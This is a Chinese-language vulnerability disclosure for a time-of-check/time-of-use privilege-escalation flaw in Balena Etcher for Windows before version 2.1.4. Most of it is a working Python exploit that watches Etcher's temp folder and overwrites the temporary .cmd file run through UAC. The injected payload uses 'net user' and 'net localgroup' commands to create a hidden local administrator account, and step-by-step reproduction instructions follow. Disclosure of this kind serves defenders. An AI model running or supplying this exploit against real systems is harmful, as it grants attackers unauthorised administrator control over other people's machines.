在 Balena Etcher for Windows 2.1.4 之前的版本中发现了一个时间检查到时间使用(TOCTOU)漏洞。
该应用程序会在用户可写目录中创建一个临时 .cmd 文件,随后通过 UAC 以提升权限执行该文件。
这允许在当前用户上下文中以中等完整性运行的应用程序或进程,通过在临时脚本执行前注入恶意命令,将权限提升至高完整性。
当用户启动烧录过程时,Etcher 会执行以下步骤:
在用户可写的临时目录中创建一个临时 .cmd 文件:
C:\Users\<用户名>\AppData\Local\Temp\etcher\
该文件被填充必要的环境变量和用于启动 etcher-util.exe 的命令。
该脚本通过 Windows UAC 以提升权限执行。
该漏洞源于文件创建与执行之间的时间差。在这一短暂窗口期内,在同一用户上下文中运行的应用程序可以监视临时目录,并将合法的 .cmd 文件替换为恶意版本。由于 Etcher 在执行前未验证文件的完整性,恶意代码将以提升权限运行。
以下 Python 脚本监视 Etcher 临时目录,一旦检测到 .cmd 文件,便向其追加一个创建新本地管理员账户的恶意载荷。
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py。脚本开始监视临时目录中由 Etcher 创建的任何 .cmd 文件。
当出现 UAC 提示时,接受它以允许 Etcher 以提升权限继续运行。
漏洞利用脚本在执行前检测并替换临时 .cmd 文件。一旦脚本以提升权限运行,注入的命令将被执行,添加一个新的本地管理员用户(exploitUser)。